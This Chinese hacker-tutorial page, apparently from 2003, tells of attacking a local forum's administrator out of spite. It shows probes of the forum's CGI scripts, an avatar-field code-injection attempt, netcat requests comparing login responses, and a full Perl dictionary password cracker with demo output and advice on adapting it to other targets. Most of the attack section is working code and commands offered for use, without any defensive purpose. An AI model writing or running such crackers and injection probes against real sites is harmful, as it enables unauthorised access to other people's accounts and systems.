首页 电脑学院 黑客教程 网站技术 网页特效 免费论文 公文写作 演讲发言 实用文档 职场指南 时尚生活 情感男女 其他资讯

您的位置:首页-> 黑客教程-> 新手入门-> 一次简单脚本攻击实例
一次简单脚本攻击实例
一、开篇
今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒

二、准备/分析
安全第一,先开个HTTP代理,打开社区的登陆页面,看到上面显示的URL是http://www.****bbs.com/login.cgi
打开页面的源代码,找到登陆的关键几句:
<form action="login.cgi" method="post">
<input type="hidden" name="menu" value="login">
<input type="hidden" name="id" value="">
用户名:<input size="25" name="username" class="i06">
密 码:<input type="password" size="25" value name="userpsd" class="i06">
</form>
所以,提交登陆信息的URL应该是http://wwww.****bbs.com/login.cgi?username=ID&userpsd=PWD&menu=login&id=

习惯先查看用户信息,因为一般情况下用户名和密码都是紧连着保存在一起的,在这里我们更容易接近我们想要的信息。提交如下URL查看silkroad用户信息:
http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad
返回正常用户信息

http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=./silkroad
同样返回正常用户信息,看来.和/已经被过滤掉了

http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad%00
提示此用户没有被注册 :(

扫描看看,有FTP弱口令~可惜是anonymous,价值不大

回到CGI上,只在http://www.****bbs.com/rank.cgi这上面发现用的是Yuzi的BBS3000。下面也可以下载BBS3000分析源代码,但比较费时间,我们先到几处敏感的地方看看
http://www.****bbs.com/photo.cgi可以上传头像
由于头像的显示是<img src=***></img>
关键就在***这里,即图片的连接
在要上传的头像的输入栏中填入</img>qq~;open F,">the0crat.txt";<img src=>.gif试试,提交,没有任何提示,程序也没对图片进行任何改变

换个角度来看,既不分析源代码,也不入侵目标服务器,那么还是来试试探测探测社区管理员的密码,难说我今天运气比较好 :)
当然社区上的管理员也不会是白痴,不会设个空密码等你去玩。提到探测论坛ID的密码,大家首先想到的是什么?下载个又大又没趣的黑客软件来挂个字典?难道就没有点想要自己动手写一个脚本来破密码的冲动?嘿嘿。现在就教你自己动手一步一步来对密码进行探测 :)

密码探测的一般方法是
  ①取得预进行猜测的密码列表
          |
          |
          |
    ②向目标依次提交密码     <---------
          |                 |
          |                 |
          |                 |
③根据目标的响应判断密码是否正确       |
      |       |             |
      |       |             |
      |       |             |
    密码正确   密码错误         |
      |       |             |
      |       |             |
      |       |             |
  返回给用户密码   Next-----------------

第三步要绕个圈子,其他的几步用程序就能很简单的实现
所以先从第三步开始:
我不了解别的那些程序是怎么进行判断的,估计是先取得成功登陆和密码错误的两个页面的代码,然后对比它们的不同点,可能还有别的办法,可我还没想到~~~:)
所以,首先注册个ID,帐号asdfasdf,密码asdfasdf,根据前面取得的信息,此ID提交的URL为http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=asdfasdf&menu=login&id=,"username="这后面的是用户ID,"userpsd="这后面是用户密码,然后登出社区
现在用telnet去取得我们想要的信息:

F:>nc -vv www.****bbs.com 80           <<<-----用nc连接目标WEB服务的端口,别说你不知道nc是什么,嘿嘿
Warning: inverse host lookup failed for ***.***.***.***: h_errno 11004: NO_DATA

www.****bbs.com [***.***.***.***] 80 (http) open
GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=error&menu=login&id= HTTP/1.1 <Enter>       <<<-------这里用到前面提到的提交用户登陆信息的URL,但用的是错误密码
host:iis-server <Enter><Enter>

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2003 11:59:41 GMT
Server: Apache/1.3.26 (Unix) PHP/4.0.6
Transfer-Encoding: chunked
Content-Type: text/html

fe7                       <<<------------注意这个
<html>
<head>
<meta http-equiv=Content-Type content=text/html; charset=gb2312>
<link REL="SHORTCUT ICON" href=http://www.****bbs.com/pic/ybb.ico>
......

这个是非成功登陆后返回的信息
再来:

F:>nc -vv www.****bbs.com 80
Warning: inverse host lookup failed for ***.***.***.***: h_errno 11004: NO_DATA

www.****bbs.com [***.***.***.***] 80 (http) open
GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=asdfasdf&menu=login&id= HTTP/1.1     <<<-------这次用的是正确的密码
host:iis-server

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2003 12:09:43 GMT
Server: Apache/1.3.26 (Unix) PHP/4.0.6
Transfer-Encoding: chunked
Content-Type: text/html
18d           <<<------------注意这个
<html><head><meta http-equiv=Content-Type content=text/html; charset=gb2312>
<SCRIPT>
expireDate=new Date;
expireDate.setYear(expireDate.getYear()+1);
......

这个是成功登陆后返回的信息

返回的信息的第七行"fe7"和"18d"不同,我们就从这里下手

现在到社区的管理团队上看看管理员的ID,其中一个管理员的ID是“秘密”

三、程序代码/代码解析
思路(步骤):
取得IP ---> 打开字典,字典里每一行一个密码 ---> socket() ---> connect() ---> 向目标主机WEB端口提交数据,此数据中所提交的密码用一个变量来代替,这个变量就是字典里的密码 ---> 将返回的信息保存,用先前提到的登陆成功/失败返回信息的不同点进行对比,判断是否登陆成功,即密码是否正确 ---> [ 当前密码正确--->输出正确的密码并退出程序; 当前密码错误--->从第二步骤开始重复,直到密码正确或试完字典里的所有密码 ]

#!/usr/bin/perl
#################################
#Password Cracker
#Author:HBU-the0crat
#E-mail:the0crat@hotmail.com
#Date:2003/8/18
#################################

use Socket;   #使用Socket模块

my $ARGC=@ARGV;   #取得参数的数量
if($ARGC!=1){print "nPassword Cracker Tool By HBU-the0cratnUsage:$0 TargetIPn";exit;}

my $host=shift;   #获取主机IP
print "nSending...";

open(FH,"<dic.dic");   #挂字典

while(<FH>)   #读取字典
{
chomp;
my $pwd=$_;
my $req="GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=$pwd&menu=login&id= HTTP/1.1n"."host:iis-servernn";   #提交的信息

my @res=sendraw($req);   #将目标服务器返回的信息保存为数组

if($res[6]=~/fe7/g) #从@res数组中取得所返回信息的第7行,并进行判断。判断依据:前文中用telnet所获知的用来判断密码是否正确的字符
{print "npwd:$pwd error";}   #如果返回的信息中的第7行中包含fe7这三个字符,则在屏幕上打印出密码错误的信息
else
{
print "npwd:$pwd passed";   #因为成功登陆后返回的信息中的第7行不包含fe7这三个字符,所以如果第7行中不包含fe7这三个字符就表示登陆成功,即密码正确
close(FH);
exit;   #探测到正确密码立刻退出
}

}   #对比判断是否登陆成功的循环
close(FH);

sub sendraw {
my ($req2) = @_;
my $target;
$target = inet_aton($host) or die "ninet_aton problems";   #转换目标IP
socket(Handle,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) or die "nSocket problemsn";   #Socket
if(connect(Handle,pack "SnA4x8",2,80,$target)){   #此例中为80端口,根据实际情况更改
select(Handle);
$| = 1;
print $req2;   #向目标服务器提交登陆资料
my @res2 = <Handle>;   #取得目标服务器返回的信息
select(STDOUT);
close(Handle);
return @res2;   #将目标服务器返回的信息作为sendraw()函数的返回值
}
else {
die("nCan't connect to $host:80...n");
}
}

四、演示
dic.dic内容如下:
asdf
asdfasdf
asdfa
运行这个脚本(win2k+activeperl5.6下通过)
C:>cracker.pl www.****bbs.com

Sending...
pwd:asdf error
pwd:asdfasdf passed

程序探测到正确密码后退出...:)

注意要根据实际情况更改提交的信息和判断依据,以及WEB端口

挂个字典,就可以慢慢等密码出来了,然而更多时候是取决于你的运气

五、总结
弊:这段代码用的是单线程,所以在探测的速度上不是很理想,有兴趣的可以去改改,在没有使用跳板的情况下对自己不安全,而且成功率很大程度上取决于你的运气
利:这种方法比较有效, 但也是比较没有效率的密码破解方式
在百度中查找更多一次简单脚本攻击实例 的内容
职场宝典   职场故事   职场跳槽   职场文化   职场理财   职场充电   情感天地   职场女性   职场礼仪   职场新人
报告总结   述职报告 工作总结 调查报告 工作汇报 计划方案 个人总结 社会实践 规章制度 调研报告 
  实习报告 考察报告 辞职报告 
演讲发言   竞职演说   就职演说   精彩演说   爱国演讲   英语演讲   十七大演讲   安全生产演讲稿   
节日祝福   重阳节 国庆节 教师节 中秋节 情人节 七夕节 劳动节 妇女节 清明节 愚人节 春节 元旦 圣诞节  儿童节  端午节 母亲节 新婚祝福 生日祝福 
讲话致辞   开业开幕   会议主持   庆典致辞   会议发言   党风廉政   党政报告   贺电慰问   婚丧嫁娶   思想宣传
法律常识   基本常识   法律文书   权益常识   劳动保障   婚姻继承   民事诉讼   刑事诉讼   
党建材料   入党申请   思想学习   党性分析   思想汇报   转正申请   民主生活   党委党建   入团申请   申报材料
求职简历   个人简历   求职自荐   求职谋略   面试技巧   求职英语   自我鉴定   英文简历   简历封面
心得体会   心得体会   经验交流   读后感   
时政热点   和谐社会   先进性教育   新农村建设   十七大   八荣八耻   科学发展观   劳动合同法   
人际沟通   社交技巧   社交礼仪   口才技巧   谈话技巧   演讲技巧   
营销技巧   电话销售   网络销售   推销技巧   促销技巧   销售口才   营销手段   销售技巧   谈判技巧   

“ 一次简单脚本攻击实例 ”来源于网络,版权归作者所有!勿用于商业用途。

新手入门

新手入门
病毒漏洞
工具使用
入侵实例
安全防范
旁门左道

本类阅读TOP10

·做黑客?用IE就行
·揭秘木马是如何盗取QQ
·NTFS分区与FAT分区的10个精彩问答
·各个端口的入侵.
·给硬盘分区
·NET命令的另类用法
·计算机安全
·常见死机原因剖析
·手机炸弹原理剖析
·经典系统故障几则

广告


关于本站|服务条款|广告服务|客服中心|发布文章|网站留言